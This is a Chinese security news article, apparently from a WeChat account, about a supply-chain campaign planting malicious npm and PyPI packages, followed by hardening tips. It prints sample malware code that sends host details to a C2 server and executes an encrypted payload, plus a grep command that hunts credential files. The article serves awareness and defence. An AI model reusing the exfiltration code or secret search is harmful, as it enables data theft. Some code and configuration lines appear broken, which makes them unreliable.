“你安装的代码包,可能正在窃取你的数据库密码。”
PS:有内网web自动化需求可以私信
01
—
导语
当开发者们习惯性地输入npm install
或pip install
时,一场精心策划的“水源投毒”行动正在席卷全球开源生态。网络安全公司Checkmarx近日发布紧急报告:代号“Lazarus”的供应链攻击行动已渗透npm和PyPI两大代码仓库,超1000个恶意包被植入后门,全球数百万开发者面临数据窃取风险。
更令人担忧的是,这些恶意包伪装成热门的AI工具包、云服务组件和开发工具,甚至模仿知名公司的官方库命名,连资深工程师都可能中招。
一.完美伪装:恶意包的“画皮术”
攻击者采用多重伪装策略,让恶意包在代码仓库中“隐身”:
-
高仿命名陷阱:创建与流行包名称相似的变体(如
@scaledrone
仿冒官方scaledrone
) -
虚假文档站:为恶意包搭建专业文档网站,增强可信度
-
版本操控术:在初始版本中植入无害代码,后续更新注入恶意载荷
-
下载量造假:通过僵尸网络伪造下载数据,提升排名
# 典型恶意包安装流程(以PyPI包culturestreak为例)
import os, base64
from cryptography.fernet import Fernet
# 阶段1:收集环境信息
env_data = f"{os.getlogin()}@{os.environ['COMPUTERNAME']}"
encoded_env = base64.b64encode(env_data.encode()).decode()
# 阶段2:连接C2服务器(延迟24小时激活)
if datetime.now() > initial_install_time + timedelta(hours=24):
C2_URL = "hxxps://api.culturestreak[.]com/data"
requests.post(C2_URL, data={"env": encoded_env})
# 阶段3:解密执行恶意载荷
encrypted_payload = b'gAAAAABk...' # 经Fernet加密的恶意代码
key = Fernet.generate_key()
decrypted_payload = Fernet(key).decrypt(encrypted_payload)
exec(decrypted_payload) # 执行窃密程序
二.双重攻击链:npm与PyPI同步沦陷
npm攻击链:伪造AI工具包
-
恶意包示例:
@scaledrone/react-native
、@scaledrone/react
-
攻击手法:
-
伪造Scaledrone公司的React组件库
-
在postinstall脚本中执行恶意命令
-
窃取
.env
配置文件、AWS密钥、浏览器Cookie
PyPI攻击链:伪装云服务SDK
-
恶意包示例:
culturestreak
、pytagora
、requests-proxy
-
攻击手法:
-
安装后24小时激活恶意代码(规避检测)
-
收集系统信息并外传至C2服务器
-
下载二级载荷建立反向Shell
三.致命载荷:开发者机器的“数据黑洞”
一旦恶意代码激活,将触发三重数据窃取:
-
环境扫描
-
获取用户名、主机名、IP地址
-
检测防病毒软件状态
-
扫描开发环境配置文件(
.gitconfig
、.npmrc
) -
敏感文件窃取
# 搜索包含敏感关键词的文件
grep -rliE "password|secret|key|token|credential"
~/projects /var/www $HOME/.aws 2>/dev/null -
建立持久化后门
-
创建计划任务定期连接C2
-
植入SSH公钥实现无密码登录
-
窃取浏览器保存的密码和会话Cookie
四.谁在幕后?国家背景的黑客组织浮出水面
技术证据指向朝鲜APT组织Lazarus(曾制造WannaCry勒索病毒):
-
代码签名证书:使用被盗的韩国公司证书
-
基础设施关联:C2服务器与已知朝鲜攻击活动重叠
-
攻击模式:与2023年PyPI供应链攻击
pycryptoenv
同源 -
攻击目标:重点针对金融科技、区块链开发环境
安全分析师指出:“攻击者已掌握软件供应链的精准弱点——开发者对公共仓库的天然信任正在被系统性利用。”
五.为什么本次攻击如此致命?
供应链攻击与传统恶意软件有本质区别:
攻击类型 | 感染路径 | 检测难度 | 影响范围 |
---|---|---|---|
传统恶意软件 | 用户主动下载执行 | ★★☆☆☆ | 单个机器 |
供应链攻击 | 依赖包自动安装 | ★★★★★ | 整个项目链 |
更严峻的是:
-
自动传播机制:项目依赖被污染后,所有克隆该项目的开发者都会自动下载恶意包
-
持续集成污染:CI/CD流水线一旦运行
npm ci
或pip install -r
即触发感染 -
信任链崩塌:开源社区赖以生存的信任机制遭受系统性破坏
六.开发者自救指南:守住最后一道防线
面对高度专业的供应链攻击,需采取纵深防御策略:
预防阶段(防投毒)
图表
代码包安装启用包签名验证锁定依赖版本扫描包元数据隔离沙箱安装
技术防护措施
-
强制包签名验证
# npm启用包完整性校验
npm config set verify-signature true
npm config set strict-ssl true
# pip启用哈希校验
pip install --require-hashes -r requirements.txt -
依赖链可视化扫描
-
使用
npm audit
、safety check
、OWASP Dependency-Check
-
配置自动化扫描流水线
-
沙箱隔离开发环境
# 使用容器隔离Python环境
docker run -it --rm -v $(pwd):/app python:3.9
pip install -r /app/requirements.txt
管理规范
-
供应链SBOM管理:为所有项目生成软件物料清单(Software Bill of Materials)
-
最小权限原则:禁止开发环境使用高权限账户
-
双因素认证:为npm/PyPI账户启用2FA(PyPI已强制实施)
安全警示:本文提及的恶意包(@scaledrone系列、culturestreak、pytagora等)已从仓库下架,但攻击者仍在持续注册新包。建议开发者立即扫描项目依赖链,检查是否存在可疑安装记录。任何要求执行postinstall脚本的未经验证包都应视为高危对象。
开源世界的信任基石正在裂缝中震颤——当代码包成为特洛伊木马,开发者每一次
install
的背后,都可能是与黑客的无声较量。
免责声明:
本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。
第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助
第十二条: 国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。
任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。
第十三条: 国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。
原文始发于微信公众号(道玄网安驿站):全球警报!供应链恶意软件突袭npm和PyPI,百万开发者陷“水源投毒”危机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论